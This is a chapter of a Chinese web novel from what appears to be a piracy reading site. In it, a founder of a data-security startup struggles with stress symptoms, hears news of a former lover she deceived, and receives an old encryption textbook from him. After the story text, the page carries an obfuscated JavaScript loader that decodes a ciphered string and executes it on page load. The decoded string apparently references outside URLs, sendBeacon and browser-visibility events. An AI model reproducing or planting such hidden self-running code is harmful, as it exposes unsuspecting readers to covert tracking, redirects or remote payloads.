首页
第51章:未愈的伤痕
返回
关灯 护眼:关 字号:小

第51章:未愈的伤痕

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第51章:未愈的伤痕(第1/2页)
    电梯下行的轻微失重感让路容胃部微微收紧。镜面墙壁里,她的脸在冷白灯光下显得过分苍白,眼下的阴影即使化了淡妆也隐约可见。她盯着那个倒影,直到电梯抵达一楼,门开,地下车库潮湿的混凝土气息扑面而来。
    她的车停在角落。解锁,拉开车门,皮革座椅在夜间微凉的空气里触感冰冷。引擎启动的声音在空旷的车库里回荡,车灯切开黑暗,照亮前方水泥柱上斑驳的划痕。
    深港市的夜晚灯火通明。高架桥上的车流像一条发光的河,两侧写字楼的玻璃幕墙反射着霓虹,数据中心的指示灯在远处山顶规律闪烁。这座城市从不真正入睡,就像她脑子里那些停不下来的念头。
    回到公寓是晚上十一点。
    钥匙插进锁孔,转动,门开。玄关的感应灯自动亮起,暖黄的光晕洒在浅木色地板上。她踢掉高跟鞋,赤脚踩在地面,冰凉从脚底蔓延上来。客厅里堆着几个还没拆封的纸箱,是上周搬过来的办公用品和资料——新公司“循数科技”的雏形,就在那些纸箱里。
    路容倒了杯水,走到落地窗前。
    窗外是城市夜景,万家灯火在夜色中铺开,远处江面上货轮的灯光缓慢移动。她握着玻璃杯,指尖感受着水的温度。安静下来的时候,那些声音就会回来——周哲在发布会现场平静注视她的眼神,像一根细针,扎在心脏某个柔软的地方。
    她打开笔记本电脑。
    屏幕亮起,蓝光照亮她的脸。桌面上是“循数科技”的商业计划书、技术架构图、团队组建名单。秦风效率很高,一周内就敲定了共享办公空间的租赁,就在“破晓”联盟创新中心的三楼,一个朝南的角落,有两面落地窗。
    路容点开团队名单。
    核心成员五人:她负责技术方案和产品设计,秦风负责战略和资源对接,另外三位是联盟内招募的——一位前大厂安全工程师,一位专注数据伦理的法律顾问,一位有创业经验的运营。名单旁边贴着照片,每个人脸上都带着创业初期特有的、混合着疲惫和兴奋的神情。
    除了她。
    她的照片是秦风临时用手机拍的,在联盟创新中心的走廊里。照片上的她穿着白衬衫,头发扎起,对着镜头勉强微笑,但眼睛深处那片阴影,连像素都掩盖不住。
    路容关掉文件,打开另一个文件夹。
    里面是“循数科技”首个产品的详细方案——一个面向中小企业的开源数据安全自检工具,代号“哨兵”。方案已经修改到第七版,技术细节密密麻麻,风险评估、开发周期、推广策略……每一个环节都需要她反复推敲。
    键盘敲击声在寂静的公寓里格外清晰。
    她专注工作时,时间会变得模糊。等再次抬头,窗外天色已经泛出鱼肚白,凌晨四点半。颈椎传来僵硬的酸痛,眼睛干涩,太阳穴突突地跳。她起身去厨房冲咖啡,手碰到水壶时,指尖不受控制地颤抖了一下。
    很轻微,几乎察觉不到。
    但路容僵住了。
    她盯着自己的手,五指张开,又慢慢握紧。掌心有薄汗,心跳在安静的清晨里变得清晰。她深呼吸,一次,两次,直到手指重新稳定下来。应激障碍没有消失,只是潜伏着,等待她疲惫或紧张时,悄然浮现。
    咖啡的香气在厨房里弥漫开来。
    她端着杯子回到书桌前,没有继续工作,而是打开了手机通讯录。屏幕滑动,停在那个没有备注的号码上——周哲的号码,她一直存着,从未删除,也从未拨打。指尖悬在拨号键上方,停留了整整一分钟。
    最终,她锁屏,把手机倒扣在桌上。
    晨光透过窗帘缝隙渗进来,在地板上切出一道细长的光带。灰尘在光里缓慢漂浮,像某种无声的舞蹈。
    ***
    三天后,“循数科技”临时办公室。
    共享办公空间位于新区一栋改造过的老厂房里,挑高六米,裸露的红色砖墙和黑色钢结构形成粗犷的工业感,但内部装修现代:开放式工位、玻璃隔断的会议室、随处可见的绿植和懒人沙发。空气里飘着咖啡豆研磨的香气和程序员们敲击键盘的密集声响。
    路容的工位在角落。
    桌上摆着两台显示器,左边是“哨兵”的代码界面,右边是项目进度表。旁边堆着几本厚厚的技术书籍,最上面一本是《数据加密算法原理(第三版)》,书脊已经磨损。
    “路容,十点的会议。”
    秦风走过来,手里拿着平板电脑。他今天穿了件浅灰色卫衣,看起来比实际年龄年轻几岁,但眼里的红血丝暴露了连轴转的疲惫。
    “会议室二。”路容点头,保存文档。
    会议是关于“哨兵”工具的首个原型开发节点。五个人挤在玻璃隔间里,白板上画满了架构图和流程图。前安全工程师老陈——一个四十出头、头发稀疏的男人——正在讲解加密模块的设计。
    “我们采用分层加密策略,核心数据用AES-256,传输层加TLS1.3,密钥管理这块……”老陈的声音平稳,但语速很快,手指在白板上敲击,“难点在于如何让中小企业用户不用太复杂的配置就能用起来。”
    路容专注听着,偶尔插话提出修改意见。
    她的专业能力在这种场合完全释放。三年前在天启科技积累的经验,加上复仇期间对数据黑产的深入研究,让她对安全漏洞和攻击手法有近乎直觉的理解。几个技术细节的讨论中,她提出的方案让老陈眼睛一亮。
    “这个思路可以。”老陈点头,“能省掉至少百分之三十的配置步骤。”
    会议进行到一半时,路容的手机震动了一下。
    是沈薇发来的消息:“晚上有空吗?老地方吃饭,有事跟你说。”
    路容回复:“七点?”
    “好。”
    会议继续。讨论到推广策略时,法律顾问林姐——一个戴细框眼镜、说话条理清晰的女人——提出了合规风险:“我们要特别注意不能涉及用户隐私数据的收集,哪怕是为了安全分析。现在监管越来越严,一旦踩线,整个项目都可能被叫停。”
    “同意。”秦风说,“我们的核心优势就是‘清白’,这块绝对不能出问题。”
    路容听着,手指无意识地转动着笔。
    笔杆在指尖旋转,一圈,两圈,然后突然失控,掉在桌上,发出清脆的响声。所有人的目光瞬间集中过来。
    “抱歉。”路容低声说,捡起笔。
    她的手指有些僵硬。刚才那一瞬间,当林姐说到“监管”“叫停”这些词时,某种熟悉的窒息感突然涌上来,喉咙发紧,像被无形的手扼住。她深呼吸,强迫自己放松,但指尖的冰凉感迟迟没有散去。
    会议在中午十二点结束。
    大家陆续离开会议室,去公共休息区吃外卖。路容留在最后,收拾白板上的笔记。阳光从高处的天窗斜照进来,在木质地板上投下明亮的光斑。空气里有外卖盒饭的油腻气味和远处传来的笑声。
    “你没事吧?”秦风折返回来,手里拿着两瓶矿泉水,递给她一瓶。
    “没事。”路容接过,拧开瓶盖,冰水滑过喉咙,稍微缓解了那股紧绷感,“可能有点累。”
    秦风看着她,眼神里有探究,但没多问。“创业初期都这样。不过……”他顿了顿,“你确定不需要休息几天?脸色不太好。”
    “真的没事。”路容摇头,“‘哨兵’的原型开发节点不能拖。”
    秦风没再坚持,只是说:“别把自己逼太紧。我们做这件事,不是为了重复过去那种拼命到垮掉的工作模式。”
    路容点头,心里某个地方微微触动。
    秦风离开后,她独自站在会议室里。玻璃墙外,开放式工区里的人们在忙碌,敲键盘、打电话、聚在一起讨论。那些声音隔着玻璃传来,模糊不清,像另一个世界。
    她拿出手机,又一次点开那个号码。
    屏幕亮着,光标在输入框里闪烁。她打了几个字:“你还好吗?”然后删除。又打:“我看到你了,在发布会。”再删除。最后,她什么也没发,只是盯着那个号码,直到屏幕自动熄灭。
    黑色的屏幕映出她的脸,眼神空洞。
    ***
    晚上七点,“云味”云南菜馆。
    路容到的时候,沈薇已经在了,还是靠窗的老位置。桌上摆好了汽锅鸡和两碗米线,蒸汽袅袅上升,混合着菌菇的香气。窗外的巷子亮起了暖黄色的串灯,挂在老砖墙之间,像一条发光的河。
    “今天这么早?”路容坐下。
    “采访结束得早。”沈薇给她倒茶,普洱茶的深红色在白色瓷杯里荡漾,“你看起来比上次更累了。”
    “创业都这样。”路容拿起筷子,夹了块鸡肉。鸡肉炖得酥烂,汤汁鲜美,但吃在嘴里有些味同嚼蜡。
    两人安静地吃了一会儿。民谣音乐换了一首,是低沉的男声吟唱,吉他弦音清澈。隔壁桌是一对情侣,低声说着话,女孩偶尔发出轻笑。
    “你让我打听的事,有消息了。”沈薇放下筷子,声音压低了些。
    路容的动作顿住。
    她慢慢放下筷子,手指在桌下收紧。掌心又开始出汗,那种熟悉的、细微的颤抖感从指尖蔓延上来。她深呼吸,强迫自己平静。
    “周哲。”沈薇看着她,“星耀事件后,他辞职了。正式离职手续走了一个月,据说李剑那边还想留他,但他坚持要走。”
    (本章未完,请点击下一页继续阅读)第51章:未愈的伤痕(第2/2页)
    路容的喉咙发紧:“然后呢?”
    “然后他消失了大概两周。”沈薇说,“没人知道他去了哪儿。再出现时,他入职了‘开源数据隐私研究所’,一家小型非营利研究机构,在城西的创意园区里。规模很小,不到二十人,主要做开源技术推广和数据隐私保护的研究,接一些公益项目,不碰商业数据交易。”
    路容听着,心脏像被什么东西慢慢攥紧。
    “他现在的职位是高级研究员,负责技术架构。”沈薇继续说,“我托人问了一下,那边的人说他工作很投入,但话不多,几乎不参加社交活动。每天准时上下班,独来独往。”
    “他……”路容的声音有些干涩,“他看起来怎么样?”
    沈薇沉默了几秒。
    “我同事去那个研究所做过采访,见过他一次。”她说,“他说周哲看起来……很平静。不是装出来的那种,是真的平静。采访中聊到数据隐私的技术问题,他讲得很专业,但一涉及到个人话题,就会礼貌地绕开。”
    路容低下头,看着茶杯里自己的倒影。
    平静。
    这个词像一把钝刀,慢慢割开她心里某个地方。她宁愿周哲愤怒,恨她,至少那样情绪是鲜明的,是有温度的。但平静……平静意味着什么?意味着他已经彻底放下,把那段充满谎言的关系封存在过去,不再为之波动?
    还是意味着,他根本不在乎了?
    “路容。”沈薇伸手,握住她的手。
    路容的手很凉,沈薇的手温暖。那种温度差让她微微一颤。
    “我不知道该不该告诉你这些。”沈薇轻声说,“但我觉得……你有权利知道。而且,我看得出来,你放不下。”
    “我没有资格放不下。”路容的声音很轻,轻得像叹息,“我骗了他,利用了他。他的人生因为我的复仇计划被搅得天翻地覆,星耀的工作丢了,行业名声也……他现在选择远离这些纷争,在一个干净的小机构做研究,这对他来说是最好的结局。”
    “那你呢?”沈薇问。
    “我?”路容苦笑,“我该为自己的选择承担后果。”
    沈薇没再说话,只是握紧她的手。
    窗外的串灯在夜色中闪烁,暖黄的光晕染在玻璃上。隔壁桌的情侣结账离开,风铃叮当作响。服务员过来添茶,普洱茶的香气再次弥漫开来。
    路容抽回手,端起茶杯,喝了一口。
    茶已经凉了,苦涩的味道在舌尖蔓延。
    “我试过联系他。”她突然说,声音低得几乎听不见,“好几次。打开对话框,打字,删除。我不知道该说什么。道歉太苍白,解释太虚伪。而且……我有什么脸再去打扰他?”
    沈薇看着她,眼神复杂。
    “也许他也在等。”沈薇说,“等你一个解释。”
    “解释什么?”路容摇头,“解释我为什么骗他?解释我为什么利用他的感情来获取情报?解释我为什么在明知道会伤害他的情况下,还是选择那么做?这些解释,连我自己都说服不了。”
    她放下茶杯,陶瓷碰触木桌,发出轻微的声响。
    “有些伤口,不是道歉就能愈合的。”路容说,“有些信任,一旦碎了,就再也拼不回去。我知道这个道理,三年前李剑教过我,三年后……我亲自实践了一遍。”
    她的声音很平静,但沈薇听出了底下那片深不见底的疲惫和自责。
    那顿饭的后半段,两人都没怎么说话。
    路容机械地吃着米线,味觉像被关闭了,食物在嘴里只是温热的固体。她看着窗外的串灯,看着巷子里偶尔走过的行人,看着夜色一点点加深。
    结账离开时,已经晚上九点。
    巷子里的风有些凉,吹在脸上,带走皮肤上残留的餐厅暖意。路容裹紧外套,和沈薇并肩往外走。石板路在脚下延伸,两侧老房子的窗子里透出灯光,电视的声音、炒菜的声音、孩子的笑声,从那些窗户里飘出来。
    普通人的生活。
    路容突然想起,三年前,在她还是天启科技新星的时候,她也曾有过这样的夜晚——下班后和同事吃饭,散步回家,想着明天的工作,计划周末的聚会。那些平凡得近乎琐碎的日常,现在想来,像上辈子的事。
    “路容。”在巷口分别时,沈薇叫住她。
    路容回头。
    “无论你做什么决定,我都支持你。”沈薇说,“但别太苛责自己。你也是受害者,你走的每一步,都是被逼出来的。”
    路容笑了笑,那笑容很淡,很快消失在夜色里。
    “谢谢。”她说。
    ***
    接下来的一周,路容把自己埋在工作里。
    “循数科技”的筹备进入实质阶段。办公桌椅送来了,网络架设好了,团队开始每天在共享空间碰头。路容负责的“哨兵”原型开发进展顺利,老陈的技术能力很强,两人配合默契,第一版基础框架已经搭起来。
    但高压工作带来了代价。
    周三下午,在一次技术评审会上,当秦风问到一个关于数据跨境传输的合规风险时,路容突然失声了。
    她张了张嘴,想说话,但喉咙像被什么东西堵住,发不出任何声音。会议室里所有人的目光都集中在她身上,那种被注视的感觉让她头皮发麻,呼吸急促。她能看到秦风眼里的疑惑,老陈的担忧,林姐的诧异。
    时间仿佛被拉长了。
    她盯着白板上的流程图,那些线条和文字开始扭曲、旋转,像某种诡异的密码。耳边响起嗡嗡的耳鸣声,越来越响,盖过了外界的一切。她的手在桌下握紧,指甲陷进掌心,疼痛让她稍微清醒了一点。
    “路容?”秦风的声音隔着耳鸣传来,模糊不清。
    她深呼吸,一次,两次,第三次时,喉咙的堵塞感终于松动。
    “抱歉。”她的声音沙哑,像砂纸摩擦,“刚才……有点走神。”
    她强迫自己集中注意力,回答了秦风的问题,声音平稳,逻辑清晰,仿佛刚才那几秒的失控从未发生。但会议结束后,她冲进洗手间,打开水龙头,用冷水一遍遍洗脸。
    镜子里的人脸色惨白,眼睛里有血丝,嘴唇在微微颤抖。
    应激障碍。
    它还在那里,像潜伏在阴影里的野兽,随时可能扑出来,撕碎她努力维持的平静表象。路容撑着洗手台,低头,水珠从发梢滴落,在白色陶瓷面上溅开细小的水花。
    那天晚上,她加班到十一点。
    共享空间里大部分人都走了,只剩下几盏夜灯亮着,在空旷的挑高空间里投下大片阴影。路容坐在工位前,屏幕的蓝光照亮她的脸。她正在修改“哨兵”的用户界面设计,但注意力无法集中,视线总是不自觉地飘向手机。
    那个号码。
    那个她存了三年,拨出过无数次——在还是“若溪”的时候——现在却连碰都不敢碰的号码。
    她最终关掉电脑,收拾东西离开。
    走廊里很安静,只有她的脚步声在回荡。电梯下行,车库,开车,回家。一套流程机械而熟悉,像设定好的程序。直到她停好车,走进公寓楼大堂,前台值班的保安叫住她。
    “路小姐,有您的快递。”
    路容愣了一下。她最近没网购,公司用品都是直接寄到办公地址。
    “什么时候送来的?”
    “下午,您不在,我就代收了。”保安从柜台下面拿出一个牛皮纸包裹,不大,约莫两本书的厚度,用胶带封得严严实实。
    路容接过,包裹很轻。上面没有寄件人信息,只有打印的收件地址和她的名字,字迹是标准的宋体,看不出什么。
    “谢谢。”她说。
    拿着包裹上楼,开门,开灯。公寓里还是老样子,纸箱堆在角落,书桌上散落着文件和笔记本电脑。她把包裹放在餐桌上,盯着它看了几秒,然后去厨房倒了杯水。
    喝水的时候,她的视线一直没离开那个包裹。
    某种预感,像细小的电流,沿着脊椎爬上来。
    她放下水杯,走过去,用裁纸刀小心地划开胶带。牛皮纸被掀开,里面是一本旧书。深蓝色的封面,书脊上的烫金字已经有些磨损,但还能辨认出标题:《数据加密算法原理》。
    第一版。
    路容的手指僵住了。
    她记得这本书。三年前,在她还是天启科技新人的时候,这本书是她的入门教材。她曾在图书馆借过,在书店翻过,后来买了新版,但这本第一版,她只在一个人那里见过——
    周哲。
    他喜欢收集旧版技术书籍,说那些书里有初代研究者的思考痕迹,比后来的修订版更纯粹。这本《数据加密算法原理》第一版,是他大学时在旧书摊淘到的,扉页上有原主人的签名和笔记,他当宝贝一样收着。
    路容的手开始颤抖。
    她慢慢翻开封面。扉页上果然有那些熟悉的笔记,蓝色墨水,工整的字迹,写着一些算法推导的草稿。而在这些旧笔记旁边,夹着一张新的便签纸。
    浅黄色,巴掌大小。
    上面只有一行字,黑色中性笔,字迹挺拔而清晰:
    “这本书,或许对你的新公司有帮助。保重。”
    没有署名。
    但路容一眼就认出来了。
    那是周哲的字。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();